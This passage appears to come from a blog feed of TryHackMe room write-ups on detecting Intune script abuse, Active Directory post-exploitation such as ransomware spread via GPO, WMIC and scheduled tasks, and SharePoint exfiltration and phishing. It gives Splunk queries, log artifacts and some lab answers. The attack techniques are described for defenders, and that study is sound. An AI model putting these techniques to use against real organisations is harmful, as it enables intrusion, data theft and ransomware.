Remote wipe is not the only weapon available to an attacker with Intune access. The platform also allows administrators to deploy custom scripts (Platform scripts), such as PowerShell, and execute them under the context of the logged-in user or the local SYSTEM account. The Platform scripts feature lets IT administrators push one-time commands in bulk, useful for tasks that aren't covered by built-in templates and configuration policies:

The Platform scripts feature might also be interesting for threat actors, as it is easy to write a PowerShell data stealer or deploy it on all devices. Check out this(opens in new tab) SANS presentation for a deep dive and a real-world attack example. Also, note that there are no safeguards against malicious commands and no email notification to the IT team, so vigilant log monitoring is the way to go!

SIEM Artifacts

Script lifecycle consists of four stages: Script is created in the Intune console, assigned to the selected devices, executed on the devices (not logged), and deleted from Intune by IT at some point. You can see these stages in SIEM by starting from this query: activityType=*DeviceManagementScript*.

The image above shows that some script was deleted, another one was created instead, and then assigned to two targets. Note that some target IDs are unique to your environment (e.g. group ID or host ID), while others are well-known. For example, adadadad-808e-44e2-905a-0b7873a8a531 ID means All Devices. You can always try googling or retrohunting the IDs to find the readable name of the targets.

Splunk query to detect platform scripts (Note that the sourcetype is custom)

index=intune sourcetype="o365:graph:intune" activityType=*DeviceManagementScript*
| eval action=mvindex(split(activityType, " "), 0)
| eval script='resources{}.resourceId'
| eval target=mvindex('resources{}.modifiedProperties{}.newValue', 0)
| eval target=if(action="assignDeviceManagementScript", target, "N/A")
| table _time actor.userPrincipalName action script target

Host Artifacts

As mentioned in Task 2, all MDMs are agent-based, regardless of how the marketing frames it. On Windows, Intune executes Platform Scripts through a process tree below, which can be monitored via Security event 4688, or better, Sysmon event 1. You will see a similar chain on Linux and macOS, just with platform-specific process images instead of the Windows ones:

Process Tree: Intune Platform Script

C:\Program Files (x86)\Microsoft Intune Management Extension\Microsoft.Management.Services.IntuneWindowsAgent.exe
└── C:\Program Files (x86)\Microsoft Intune Management Extension\AgentExecutor.exe
    └── ...\powershell.exe" -NoProfile -executionPolicy bypass -file `
        "C:\Program Files (x86)\Microsoft Intune Management Extension\Policies\Scripts\.ps1

After execution, the script is automatically removed from the staging directory, but traces remain in debug logs. Execution output and metadata are written to the local Intune logfile, specifically AgentExecutor.log under C:\ProgramData\Microsoft\IntuneManagementExtension\Logs. From a forensic standpoint, this file is extremely valuable, as it captures:

Time of the script execution	In my attempts, the delay between script creation and execution was approx. 30 minutes.
Duration of the script run	You will see separate events once the script is deployed, starts, and finishes execution.
Plaintext output or error	See the screenshot below; there was no error in the script, and the output is "SECRET"

Intune App Deployment

A more advanced attack scenario would be to package malware inside an app and compile it into the .intunewin format using a Microsoft tool(opens in new tab), or classic .dmg/.pkg for MacOS. Intune can then be used to deploy the compiled application on the selected devices with the highest privileges, even if the app isn't signed by a trusted authority. For threat actors, this opens a whole range of possibilities: from ransomware and cryptocurrency miner deployment to data exfiltration at scale.

Splunk query to detect application events (Note that the sourcetype is custom)

index=intune sourcetype="o365:graph:intune" activityType=*MobileApp*

Practice

In this task, you will investigate a script deployment on PC-096.
Search for All Time and start from the index=intune SPL query.

Answer the questions below

What is the ID (resourceId) of the deleted Intune script?

index=intune delete

When was the other script deployed to the targets?
Answer Example: 2026-01-15 12:30:45

index=intune DeviceManagementScript

What is the output of the deployed script?
Note: Use the logs from the PC-096 device.

index=intune THM

Intune Security Hardening

Lessons Learned (Stryker Case)

The wiper attack covered in Task 4 was devastating in impact yet trivial to execute. All the attackers needed were valid credentials for a single Stryker employee with administrative access to the Intune portal. While unconfirmed, Internet users have already found(opens in new tab) compromised Stryker admin credentials in the wild, making it believable that the adversaries simply used the credentials via AiTM phishing or from infostealer dumps. If you don't want to repeat the same mistake:

Protect your administrator accounts!

Protecting Admin Accounts

The first line of defense against a mass wipe event is controlling access to privileged accounts: Global Administrators, Intune Administrators, and any other role that grants wipe permissions. You have already learned how to monitor admin accounts in the Entra ID monitoring room, but let's revisit the key suggestions:

Use Conditional Access to prevent logins from unexpected devices and countries
Use Identity Protection to alert on risky sign-ins, or auto-disable high-risk accounts
Use Entra ID sign-in and audit logs to alert on unreal travels and other anomalies
Have less than 5 Global Administrators, no matter the company size
For all privileged accounts, enforce passkeys or hardware MFA
Use Privileged Identity Management (PIM(opens in new tab)) for administrative tasks

Intune Security Features

No matter how mature your SOC is, incidents happen, and accounts get compromised. A single control is never enough. To limit the impact when a breach does occur, you should prefer custom Intune roles over Intune's default ones - default roles are broad, and that breadth might be abused by an attacker. Consider the following company structure:

The security team (4 people) runs a remote wipe on stolen devices around once a year
The global IT (6 people) occasionally uses Intune platform scripts, around once a month
The EU helpdesk (10 people) often installs apps and changes policies across EU-based devices
The US helpdesk (10 people) has the same workflow, but works exclusively with US-based devices

Each of these tasks requires a distinct set of Intune privileges, so companies often take the path of least resistance, assigning the Intune Administrator role to every IT and helpdesk member. As a result, they maintain 30 accounts, each capable of initiating a mass wipe. A far more secure alternative is to define four custom roles:

Security: Allowed to wipe devices
Global IT: Allowed to run platform scripts
Helpdesk Operator: Allowed to install apps
Helpdesk Admin: Installs apps and changes policies

Scope Tags

Privileges can be reduced further through scope tags, an Intune feature that labels specific resources and restricts access based on those labels. In our scenario, since the EU helpdesk operates exclusively with EU-based hosts and the US helpdesk with US-based ones, workstations can be tagged by region. The Helpdesk Operator and Helpdesk Admin roles are then split into four groups: EU and US variants of each, each scoped to only the assets they need to manage.

Multi Admin Approval

Lastly, for rare and critical operations such as platform scripts and remote wipes, you can set up multi admin approval. In our scenario, it might be a good idea for the IT team to approve device wipes, and for the Security team to approve platform scripts. Just make sure there is only one or two Global Admins who can edit the approval policies, not the whole IT!

Answer the questions below

Would you rather use a single shared Intune role in your company (A),
or create multiple focused roles for each team or job position (B)? B

What Intune feature requires multiple users to approve a dangerous action? Multi Admin Approval

Conclusion

Microsoft Intune MDM is vital for IT and security teams to centralize device management and remotely apply security policies. In the wrong hands, however, it can become a dangerous attack tool, similar to other tools such as EDR and RMM. In this room, you have explored how to monitor Intune and how to protect it against core risks. Hope you enjoyed the room!

Detecting AD Post-Exploitation (TryHackMe)

Jebitok — Mon, 23 Mar 2026 20:33:10 GMT

Active Directory post-exploitation is where an attacker's real objectives come into focus. After achieving domain compromise, threat actors move into their endgame — whether that's establishing long-term persistence for espionage, deploying ransomware across the network, exfiltrating sensitive data, or destroying systems entirely.

In this TryHackMe room, I worked through Detecting AD Post-Exploitation from a SOC analyst perspective, covering how to detect these activities in Splunk using real-world attack patterns. The room drew on actual incidents including Volt Typhoon's multi-year espionage campaign against U.S. critical infrastructure and the Qilin ransomware attack on Synnovis/NHS London in 2024.

Skills practiced: Splunk log analysis, pre-encryption indicator detection, ransomware deployment via GPO/WMIC/scheduled tasks, persistence through account creation, and understanding data destruction techniques.

Introduction

As a result of a successful domain compromise, a threat actor can proceed with their actual goals - whether it is long-term access for espionage purposes, ransomware deployment and encryption, data theft, or data destruction. In this room, we will review these scenarios from a SOC team perspective and understand why the attacker pursues them and how they can be detected.

Learning Objectives

Understand how attackers perform AD post-exploitation activities
Explore long-term persistence techniques in AD environments
Learn how threat actors deploy ransomware in enterprise networks
Understand how wiping and data destruction techniques are executed

Prerequisites

It is suggested to complete the following rooms first before proceeding:

AD Post-Exploitation

Threat actors always pursue specific objectives when breaching an organisation. In some cases, the attack is pre-planned and executed against a specific target. In other scenarios, attackers gain initial access opportunistically and then conduct internal reconnaissance to identify valuable resources they can exploit for their benefit.

Post-Exploitation Stage

Consider a scenario where an attacker has successfully compromised the organisation, identified assets of interest that hold value, and is now ready to act on their objectives. The attacker's subsequent actions within this environment are called the post-exploitation phase of the attack.

We will take a closer look at the post-exploitation steps taken by attackers during an intrusion.

Post-Exploitation Options

As mentioned earlier, the attacker's final objective during the post-exploitation phase can vary depending on their goals. Below are the main options an attacker may pursue at this stage:

Before we examine how to detect these methods, we want to walk you through several real-world incidents that demonstrate these Post-Exploitation techniques in action. The first case we'll examine is related to the Volt Typhoon group (we strongly recommend you complete the challenge room related to this group), which conducted espionage in U.S. critical infrastructure for nearly three years. Over the course of several years, this group collected information about how U.S. critical infrastructure operates, gathering details about network architecture, power supply systems, and more, until they were discovered. More details about this incident are described in CISA's report from February 2024(opens in new tab), which we recommend you review. Below is the attack chain of this campaign.

The second case we'll examine is related to a now well-known group, Qilin, which has become extremely popular in recent years due to its audacious attacks and effectiveness. One of their most devastating incidents occurred in June 2024, when this group successfully compromised Synnovis, a critical pathology services provider for London's NHS hospitals, resulting in the theft of 400 GB of sensitive patient data. But that wasn't all - after exfiltrating this highly sensitive medical data, they proceeded to encrypt the systems, crippling diagnostic services across seven major hospitals. This is an excellent example that demonstrates how attackers attempt to exfiltrate various types of data before encryption takes place. In this Aviatrix Threat Research report(opens in new tab), you can find a detailed technical analysis of this attack.

Now it’s time for questions. In this task, you will need to conduct a small research exercise that will help you better understand attacker behavior during post-exploitation activities.

Answer the questions below

What type of files did Volt Typhoon exfiltrate based on the CISA report (opens in new tab)? zip

What protocol did Volt Typhoon use for the exfiltration process based on the CISA report? (opens in new tab) SMB

What MITRE ATT&CK technique ID is associated with exfiltration in the Synnovis 2024 ransomware attack on UK Healthcare based on the report? (opens in new tab)

Long-Term Persistence

When choosing a persistence mechanism, advanced attackers think about how to remain undetected for as long as possible and how to attract the least attention to themselves during this activity. In this task, we'll examine several popular methods that attackers use in an Active Directory environment for long-term persistence.
Below, I want to present you with some interesting statistics comparing 2022 (opens in new tab)and 2025(opens in new tab), so you can see how the methods that attackers use for persistence have changed over the years.

In this task, we'll discuss persistence methods that relate specifically to the AD environment and not individual Windows machines. If you're interested in more comprehensive methods, I recommend Windows Threat Detection 3 room.

Create Account

Once an attacker obtains Domain Admin privileges in an AD environment, a very straightforward persistence method is creating a new user account with elevated privileges. In our scenario, the attacker successfully compromised the TrySaveMe domain and obtained Domain Admin privileges, specifically the anna.gallo user account. Creating a new user, the attacker will maintain access to the environment until the security team removes the user from the domain. This activity can be detected at two stages: first, the creation of the new user itself, and second, adding the user to domain groups.

Valid Account

In some cases, the attacker decides not to create a new account for persistence but instead uses one of the compromised accounts. However, a threat actor can escalate the account's privileges, add it to the RDP group to gain future remote access, or change the user's password to maintain exclusive access to it. These actions generate less activity but are still noticeable in the logs.

Kerberos ticket-related persistence methods, specifically Golden/Silver Tickets, are also very popular in the wild, but we'll cover these topics in more detail in the next rooms. For now, it's time for practice.

Practice Scenario

An alert has been escalated to you during your L2 analyst shift. The suspicious process updater.exe was executed on the domain controller DC-01 under the maria.garcia domain admin account in the TrySaveMe domain.

The L1 analyst suspects this could be a remote shell communicating with an attacker's C2 infrastructure and needs you to perform deeper analysis to identify any follow-on adversary activity on the compromised host.

The logs for this task are located in the Splunk index task3. Use the following query: index=task3

Answer the questions below

From which directory was the malicious file executed as mentioned in the scenario?

index=task3 C:

index=task3 maria.garcia

Which user did the attacker create on the system as a persistence mechanism?

index=task3 action=created

What is the name of the group this account was added to for remote access?

index=task3 hans.schmidt

What time was this account added to the Domain Admins group?

index=task3 hans.schmidt Account_Name="hans.schmidt" status=success

index=task3 hans.schmidt group

Did the attacker later use this account to log in? (Yes / Nop)

Ransomware Detection 1

Ransomware Overview

With ransomware attacks escalating annually, SOC analysts must identify indicators of ransomware behavior. This room covered what attackers do before encryption, how ransomware spreads across networks, and other essential techniques. Below are some alarming statistics on ransomware group activity from Q3 2025, along with a chart showing trends across 2024-2025, described by the Check Point Research team in their report(opens in new tab).

Ransomware-as-a-Service

In recent years, Ransomware-as-a-Service (RaaS) platforms have gained significant popularity, where ransomware developers provide samples to affiliates who deploy them for their own purposes. This is a different approach than traditional ransomware groups and makes life much easier for attackers.

Typically, the main goal with ransomware is money - attackers encrypt data and hope for a generous payment for the decryptor. No one wants to be a ransomware victim, so what should you do, and how can you detect it? The ransomware encryption process is typically the final stage of the attack. Consequently, ransomware group activity for detection purposes can be divided into several steps.

Pre-Encryption Detection

We review how to detect the main techniques used during the pre-encryption stage.

**Delete Volume Shadow Copies
**Organisations often use Volume Shadow Copy Service (VSS) for data backup purposes. Threat actors typically delete these shadow copies and disable the service to prevent recovery. Below is how this activity can be identified in logs. This activity can be observed in Sysmon EventID 1 or Windows Event Logs Security EventID 4688.

**Disable Windows Recovery
**In cases where the system cannot boot normally due to crashes, corrupted files, or boot errors - which quite often occur during ransomware attacks - users attempt to utilise the Windows Recovery mechanism. Therefore, attackers frequently disable this capability before deploying ransomware.

**Delete Backups
**Organisations with robust backup infrastructure can mitigate the impact of encryption by restoring affected data, thereby eliminating the need for a decryptor and negating any potential ransom payment. Recognising this, threat actors systematically identify and destroy backup repositories prior to the encryption processes to maximise leverage over victims.
This activity can be observed in Sysmon EventID 1 or Windows Event Logs Security EventID 4688.

**Delete Logs
**Since ransomware is the final stage of an attack, threat actors can delete logs from systems in order to hinder the SOC team's investigation. This, in turn, increases the time required to understand how the incident occurred, identify the entry point, and reconstruct the attack timeline. This activity can be observed in Sysmon EventID 1 or Windows Event Logs Security EventID 4688 and EventID 1102. It's also important to understand that if your logs are ingested into a SIEM solution, even if an attacker performs these actions, you will still be able to see the lost logs in your SIEM.

Successfully detecting these steps in your environment serves as a critical indicator that an adversary is preparing for the encryption phase. This represents your final opportunity to preempt the attack and prevent data encryption. A practical exercise now awaits you, where you will practice identifying these pre-encryption indicators. Good luck!

Practice Scenario

Based on your analysis in the previous task, you, as a SOC L2 analyst, determined that the TrySaveMe incident is indeed serious and warrants an in-depth investigation. In this task, you will continue analysing the adversary activity within this domain.

The logs for this task are located in the Splunk index task4. Use the following query: index=task4

Answer the questions below

What command did the attacker use to view available VSS shadow copies?

index=task4 shadow command

What was the PID of the process that successfully deleted the VSS shadow copies on DC-01?

index=task4 shadow command

Which logs did the attacker delete on DC-01?

index=task4

Select the cleared action, then you’ll find the log name

index=task4 action=cleared

Ransomware Detection 2

Now we will take a closer look at how threat actors share ransomware and execute it within the environment.
In situations where you were able to detect the pre-encryption steps and prevent the ransomware from spreading and encrypting systems, you would not need to discover the steps described in this task.

Ransom Deployment and Encryption Detection

Prior to executing encryption in the environment, an attacker must distribute the ransomware across the client's network. There are actually quite a number of methods available to them, and we'll examine the primary ones in this task.

Detection of Ransomware Deployment Using GPO

Group Policy Objects are a very convenient option for attackers to spread ransomware, as they provide the ability to execute specific actions across entire Organisational Units. Just a single GPO can target hundreds or thousands of endpoints simultaneously - the only important point for this manipulation is that the threat actor must have the appropriate permissions, such as Domain Admin, Enterprise Admins. Below we will examine what this entire process looks like and what an attacker needs for this.

Let's imagine an attacker has already obtained Domain Admin through privilege escalation. What can we detect next? Let's examine this now. The threat actor needs to upload a Ransom file to SYSVOL. As you can see, the Office364.exe file was created in the scripts folder, after which the attacker proceeded to create a new GPO.

After that, the attacker needs to select a method to launch the ransom file. In our case, this is StartUp. As a result, the attacker adds a condition to this GPO to launch the file on systems in the TrySaveMe domain using StartUp.

As a result of the Group Policy being applied to the domain, a new StartUp task will be created on the systems. After the systems reboot, the ransom will be successfully launched on them.

**Detecting WMIC-Related Ransomware Activity

**Adversaries frequently leverage WMIC in incidents for multiple purposes including discovery, persistence, lateral movement, as well as for execution ransomware across the client's environment. Through the use of the process call create command with wmic process, threat actors are able to remotely execute processes on target systems. This remotely spawned process can be a ransomware executable that triggers the file encryption process. It's important to note that the parent process on the remote system will be wmiprvse.exe. Below you can see how this activity looks in a real environment. Also, in this report you can see an excellent example of ransomware distribution and execution using WMIC.

Detecting Tasks-Related Ransomware Activity

I'm sure you've heard or seen threat actor activity related to scheduled tasks many times before, and typically this was a persistence mechanism. Interestingly, tasks can be created and executed on remote systems, which is exactly what adversaries do during ransomware campaigns. Specifically, they use schtasks to distribute ransomware across the network by creating scheduled tasks to execute the ransomware at the same time on all network hosts. Below we demonstrate an example of how the activity related to ransomware distribution via scheduled tasks would appear in logs, originating from host PROD-WKS-07 across the CONTOSO network**.** You can detect this activity using Sysmon Event ID 1 or Windows Event Log Security Event ID 4688 where the process name is schtasks, or by monitoring for scheduled task creation events Event ID 4698 on destination machines.

Detecting RMM-Related Ransomware Activity

A large number of organisations use RMM solutions to facilitate IT operations at scale in large environments, and indeed these solutions offer many advantages. Unfortunately, adversaries, recognising that RMM products are increasingly prevalent in corporate environments, have realised they can gain access directly to the RMM product's management console and from there distribute and execute ransomware, instead of taking the full and lengthy path of compromising the AD domain. Below is shown how exactly an attack occurs through RMM.

To detect the ransomware deployment and execution via RRM, we can identify this activity in Sysmon logs using EventCode 1. As demonstrated in the example below, the malicious activity originates from the RMM agent, which in our case is ScreenConnect.

Practice Scenario

The attacker's actions in the previous task should have raised red flags, as these activities typically occur immediately before the worst possible outcome. What is that outcome? Your objective in this task is to determine what the attacker was preparing for.

The logs for this task are located in the Splunk index task5. Use the following query: index=task5

Answer the questions below

What is the full path to the ransomware executable that was created on TSM-PROD-01?

index=task5 host="TSM-PROD-01" C: created

index=task5 fixer.exe

What is the MITRE ATT&CK ID of the method the attacker used to execute ransomware on domain systems?

How many systems were targeted for ransomware execution by the attacker?

index=task5 WMIC.exe

Did the attacker successfully execute the ransomware on the hosts? (Yes/Nop)

Remember our current host is PROD, but is it really the one executing the ransom
```
index=task5 WMIC.exe
```

Data Destruction

Not all attacks are motivated by data theft or ransom payments. Sometimes the attacker's sole intention is to cause maximum damage to systems and operations.

Data Destruction

The process of destroying data and files on specific systems is called Data Destruction and corresponds to the Impact Tactic in MITRE with ID T1485. We'll explore several common methods that threat actors are actively using in the wild.

Such activity is usually performed using malware. Typically, XDR systems in enterprise environments should detect and prevent these attacks. In this task, we will explore the most prominent cases from recent years connected to each technique.

Boot-Level Destruction

Attackers overwrite the Master Boot Record or Boot Sectors to prevent the system from starting. This technique targets the first sectors of the disk where boot instructions are stored, rendering the machine unbootable even though data may still physically exist on the drive. I recommend paying attention to the MBR and GPT Analysis room for a better understanding of analyzing the attacker's activity.

File System-Level Destruction

Attackers corrupt or delete file system metadata structures such as Partition tables, Master File Tables, or inode tables. This makes it impossible for the operating system to locate or access files, even though the actual data content remains physically intact on the disk.

File Overwriting

Attackers systematically traverse directories and overwrite file contents with random data or zeros, making data recovery impossible. Unlike encryption, this technique permanently destroys the actual data, not just the keys to access it, ensuring files cannot be restored through any forensic methods.

Firmware-Level Destruction

Attackers target firmwares, network devices, or storage controllers to render hardware unusable. This low-level attack corrupts the firmware below the operating system layer, often requiring hardware replacement or specialized re-flashing procedures that go beyond standard system recovery.

This task was focused more on researching and sharing examples of popular companies affected by wipers rather than the detection side, as identifying a wiper immediately in logs is nearly impossible. Advancing into reverse engineering to understand malware behavior is not the topic of this room, so we skipped it here. Additional research tasks are waiting for you in the questions!

Answer the questions below

What is the MITRE ATT&CK ID for the Data Destruction technique under the Impact tactic?

What service did HermeticWiper use for CDN payload delivery? Discord

What protocol did Apostle Wiper use for tunneling? RDP

Conclusion

Great job completing this room! You've now gained a solid understanding of Active Directory post-exploitation tactics and how threat actors pursue their final objectives after domain compromise.

Investigated AD post-exploitation techniques and long-term persistence methods used by attackers.
Analyzed ransomware deployment strategies and lateral movement across enterprise networks.
Understood how wiper malware and data destruction techniques are executed and detected.

More exciting challenges await you next!

Key Takeaways

Pre-encryption detection is your last line of defence — shadow copy deletion, disabling Windows Recovery, and log clearing are all high-fidelity signals that ransomware deployment is imminent
AD persistence often starts quietly — a new domain account or group membership change in logs is easy to miss but critical to catch early
Ransomware distribution methods are varied — GPO abuse, WMIC remote execution, and scheduled tasks each leave distinct log signatures worth knowing by heart
Data destruction differs from ransomware — wipers permanently overwrite or corrupt data with no decryption path; the detection window is extremely narrow and often requires behavioral/XDR tooling rather than log analysis alone
SIEM ingestion protects your visibility — even if an attacker clears local event logs, logs already forwarded to Splunk remain available for investigation

Understanding post-exploitation from the defender's side makes it much easier to reason about attacker intent during an incident — every action in this phase is purposeful and time-pressured, which is exactly what makes the pre-encryption window so important to catch.

SharePoint Online Monitoring (TryHackMe)

Jebitok — Fri, 20 Mar 2026 12:42:22 GMT

Introduction

SharePoint Online is one of the most targeted M365 services, as it often stores sensitive files and can be used to propagate the attack. This room will explore the most common attack scenarios on SharePoint Online and explain how to monitor for them as a SOC team.

Learning Objectives

Learn Entra ID and SharePoint audit log formats
Explore how attackers exfiltrate data from SharePoint
Discover how SharePoint can become an attack tool
Practice the learned topics through an attack scenario

Prerequisites

SharePoint Overview

SharePoint Online is a service within the Microsoft 365 suite that lets you store, organize, share, and access corporate information through a web browser. It is widely used by organizations that use the Microsoft stack to keep team documentation and collaborate on documents, spreadsheets, and presentations. It is basically a business version of Google Drive and Microsoft OneDrive:

Google Drive: A cloud service to store and collaborate on files through the web
Microsoft OneDrive: Microsoft's analogue of Google Drive, built for personal files
Microsoft SharePoint: A more powerful version of OneDrive for corporate use

For future reference, SharePoint organizes data into top-level containers called sites, where each site is tied to an email group (e.g. sales@tryhackme.thm) and contains files, folders, or web pages. Also, note that there is an on-premises version of SharePoint. It is rarely used and relies on Active Directory authentication. This room will only explain SharePoint Online, a cloud-based service.

SharePoint and M365

SharePoint is deeply integrated into the Microsoft 365 suite. For example, authentication to SharePoint is performed via an Entra ID login, so if an adversary breaches a corporate Microsoft account with the right permissions, they automatically get access to all the SharePoint files the victim has access to. Fortunately, you can always audit SharePoint logins in the Entra ID console:

SharePoint Risks

IT sites may contain network diagrams, application source code, or even keys
Finance sites may contain internal reports and confidential documents
Sales sites typically contain big spreadsheets of partners and customers
In short, SharePoint is one of the most important M365 services to monitor

Answer the questions below

Which of the mentioned Microsoft services is like SharePoint, but for personal use? OneDrive

How do you call the SharePoint top-level container that holds objects, such as files? Site

SharePoint Logging

SharePoint Sign-In Logs

Same as with other M365 services, you need to combine Entra ID and M365 logs to monitor SharePoint properly. Entra ID sign-in logs show authentication attempts to SharePoint, and M365 unified audit logs show file operations: access, modification, and sharing. Let's start with the sign-in logs. Below is a chain of sign-in events you will see during a legitimate SharePoint access of Emily Turner:

The first two events from the image indicate that Emily logged in to the M365 home portal (m365.cloud.microsoft). From there, she accessed the corporate SharePoint portal. The last event, login to Office365 Shell WCSS-Client, occurs automatically whenever a user navigates in M365 apps. If you want to monitor SharePoint logins, focus on sign-in events #3 and #4. Also, please remember that logins from IPv6 can still be malicious. Never assume that IPv6 equals False Positive!

SharePoint File Operations

After signing in, Emily will interact with the site. You would see all her activities in M365 audit logs, with the Workload field always set to SharePoint. Let's see the simplest example, access to the Contract Templates document through SharePoint:

{
  "CreationTime": "2026-01-29T15:08:32",
  "OrganizationId": "755c8cb5-4ddf-4c5e-[...]", // MS365 tenant ID
  "Operation": "FileAccessed",                  // Event name (action)
  "Workload": "SharePoint",                     // Target service
  "UserId": "emily.turner@tryhackme.thm",       // Source user email
  "AuthenticationType": "OAuth",
  "Site": "66c03890-ed18-42b3-[...]",           // SharePoint site ID
  "UserAgent": "MSWAC",                         // Internal SharePoint user-agent
  "ClientIP": "20.54.165.63",                   // IP of M365 server, not Emily's!
  "DeviceDisplayName": "20.54.165.63",          // Again, this is not Emily's IP!
  "SourceRelativeUrl": "Shared Documents",      // Folder of the file
  "SourceFileName": "Contract Template.docx",   // Accessed file name
  "SourceFileExtension": "docx",
  "ApplicationDisplayName": "WebWord",
  "SiteUrl": "https://tryhackme.sharepoint.com/sites/thm-sales/",
  "ObjectId": "https://tryhackme.sharepoint.com/sites/thm-sales/Shared Documents/Contract Template.docx"
}

The event below follows a similar M365 log structure, where Workload, Operation, and UserId fields are always present, and other fields depend on the event. Note that you shouldn't blindly trust IPs and user agents in the logs, as they often refer to SharePoint servers rather than the actual clients. Overall, you should focus on the file operations below (Documentation(opens in new tab)):

FileCreated/FileUploaded: Useful to track suspicious file uploads
FileDeleted/FileRecycled: Essential for audit and compliance purposes
FileAccessed/FileDownloaded: Helpful for many types of cyber incidents

File Sharing in SharePoint

Another important monitoring aspect is file sharing. Microsoft reports both when sharing settings were changed and whenever a sharing link was used. That's great since file sharing can be abused in various scenarios that you will learn in the next tasks. Let's assume Emily shared a sensitive file with an external, untrusted email. You can start the hunt as:

List SharePoint sharing events (Splunk)

index=* Workload=SharePoint Operation IN(AddedToSecureLink, AnonymousLinkCreated)

If there is a match, you will see which file was shared (ObjectId) and with whom (TargetUserOrGroupName). Note that it's only valid for external sharing. For internal sharing, better hunt for the SharingSet events and refer to the documentation(opens in new tab) for technical details. Next, you might want to check if the target user has already accessed the link, or if you have time to revoke the sharing before it's too late:

List SharePoint sharing events (Splunk)

index=* Workload=SharePoint Operation IN(SecureLinkUsed, AnonymousLinkUsed)

In Splunk, you can analyze both events in a single timeline. Below is an example showing how Emily shared a sensitive file with an external user (AddedToSecureLink), and how the user accessed the file a minute later (SecureLinkUsed). In most cases, these events are also followed by a FileAccessed event.

Practice
For this task, open the Splunk console(opens in new tab) in your web browser.
You will need both data sources from the index=practice query.
Search for All Time and investigate the activity of Emily Turner.

Answer the questions below

Refer to the Entra ID sign-in logs (azure:aad:signin).
What is the event ID that confirms Emily's login to SharePoint?

index=practice user="emily.turner@tryhackme.thm" action=success login

Move on to the SharePoint logs (o365:management:activity).
What PDF file did Emily upload to the SharePoint?

index=practice pdf user="emily.turner@tryhackme.thm"

Soon after, Emily shared the PDF with an external user.
What is the email of the target user?

index=practice instructions.pdf action=shared

Detecting Data Exfiltration

SharePoint Data Access

SharePoint is one of the primary targets for threat actors. After an account is compromised, the adversary may explore the contents of their SharePoint and exfiltrate files of interest, such as contracts, reports, internal wiki pages, or source code. Depending on the type and size of data, the adversary may:

Open the file in the browser and read it without downloading. Generates the FileAccessed event for every file.
Download the needed file or folder. Generates a FileDownloaded or similar event for every downloaded file.
Share the file with anyone and access it anonymously via a link. Still generates share events and FileAccessed.

Data Exfiltration via GUI

The simplest way to view SharePoint data is through the M365 portal. Like legitimate users, attackers can browse folders, open files, and download sensitive data. Unfortunately, if attackers act cautiously, their activity is hard to distinguish from normal SharePoint usage. Still, you can alert on a spike in FileDownloaded events, since downloading a folder generates one event per file inside. The search below shows how a single Reports-2025 folder download resulted in five events:

Data Exfiltration via App

The M365 portal does not allow full site export and does not support advanced search. Therefore, if attackers want to dump gigabytes of data, they must resort to external tools. Examples include the OneDrive app, the Rclone CLI utility, and many more paid solutions that allow you to sync SharePoint content with your local PC or another cloud location. For Rclone, the data export will look like this:

Regular users rarely use external applications to interact with SharePoint, especially CLI tools like Rclone. Thus, you can start by alerting on new applications on a per-user basis. To do this, focus on the ApplicationDisplayName and UserAgent fields, which are present in all file-related records. Below are the logs generated when running the Rclone commands shown in the illustration above:

List Rclone downloads (Splunk)

index=* rclone Operation=FileDownloaded
| table _time UserId Operation ApplicationDisplayName ApplicationId UserAgent

Answer the questions below

Which M365 event is generated every time the file is downloaded? FileDownloaded

Which M365 field can you use to identify the application behind the event? ApplicationDisplayName

Detecting SharePoint Abuse

SharePoint as an Attack Tool

Imagine you are an attacker who has compromised the account of a B2B Sales Lead. You discover a CSV file containing hundreds of partner email addresses, including contacts from large, well-known companies. How can this be abused? You could launch a phishing campaign on all addresses while impersonating the Sales Lead. And to bypass anti-phishing controls, you can send the emails via SharePoint!

Whenever you share a file via SharePoint, the recipient receives a notification email sent from your account. An attacker can abuse this by creating a document inside the compromised SharePoint (often a OneNote file), embedding malicious instructions or links, and sharing it with targeted victims. Because both email servers and users usually trust these notifications, SharePoint becomes a tool for distributing malware or phishing. The screenshot above is a classic example of this attack.

Detecting SharePoint Abuse

If you fail to notify all sharing recipients in time, your company may start a supply chain attack. For example, if an IT firm in Europe is breached, attackers may share malware with its retail clients in the USA. If lateral movement succeeds, the same attack can then spread from the retailer to its supplier, a larger manufacturer in Asia. It is essential to secure not only yourself, but also all partners and clients your company could affect.

Advanced SharePoint Abuse

Note that M365 logging can be confusing at times, and attackers are often very creative. For example, instead of creating a new file, they may backdoor an existing one (which results in a FileModified event). They can also lure other users into creating and sharing malware, which will mess up the logs. This is why, during an incident, you should review all activities in a chronological timeline instead of simply searching for specific events or indicators.

Answer the questions below

Which file type is often abused to share phishing through SharePoint? OneNote

Which event is generated when someone shares a file with an external user? AddedToSecureLink

Real-World Scenario

The phone rings, it's the SOC manager:

"Hey, quick one: our CEO, Michael, wants us to look into a OneNote file that was just shared by Emma Lawson, our Head of Customer Relationships. The file seems suspicious, and he can't recall approving any pricing updates. Before your shift ends, could you take a look and make sure everything is clean? I'll forward you the screenshots Michael sent me; check your inbox:"

Practice
For this task, start with the index=challenge query and search for All Time.
You will need all the knowledge you have acquired to handle the incident!

Answer the questions below

When did Michael open the shared OneNote file?
Answer Example: 2026-02-01 12:30:45

index=challenge user="michael.els@tryhackme.thm" shared

With which three external emails did Emma share the file, too?
Answer Format: Emails via comma, alphabetical order

index=challenge user="emma.lawson@tryhackme.thm" action=shared

returned the internal emails, but we need the external ones, which it doesn't show with this query

index=challenge AddedToSecureLink user="emma.lawson@tryhackme.thm"

index=challenge user="emma.lawson@tryhackme.thm" AddedToSecureLink 
| stats count by TargetUserOrGroupName 
| sort -count

One of the users from Question 2 already accessed the malicious file.
What CorrelationId value proves that the sharing link has been opened?

index=challenge Operation IN(*LinkUsed, FileAccessed) ObjectId="https://tryhackme.sharepoint.com/sites/marketing/Shared Documents/Important Updates Regarding Pricing [B2B and B2E]" 
| stats values(UserId)

index=challenge Operation IN(*LinkUsed, FileAccessed) ObjectId="https://tryhackme.sharepoint.com/sites/marketing/Shared Documents/Important Updates Regarding Pricing [B2B and B2E]"

Before sharing the malicious file, attackers reviewed Emma's SharePoint.
Which PowerPoint presentation file did they exfiltrate?

Remember the file extension of powerpoint presentation file is .pptx so this helps us narrow down the search in the search query

index=challenge pptx

According to Entra ID logs, from which city was the malicious login performed?

index=challenge location

Conclusion

Congratulations on completing the room! With this final knowledge piece on SharePoint monitoring, you are now equipped to onboard, monitor, and protect Entra ID and M365 environments against a wide range of emerging threats. We hope you enjoyed both this room and the entire module!

Detecting AD Lateral Movement (TryHackMe)

Jebitok — Fri, 20 Mar 2026 12:09:24 GMT
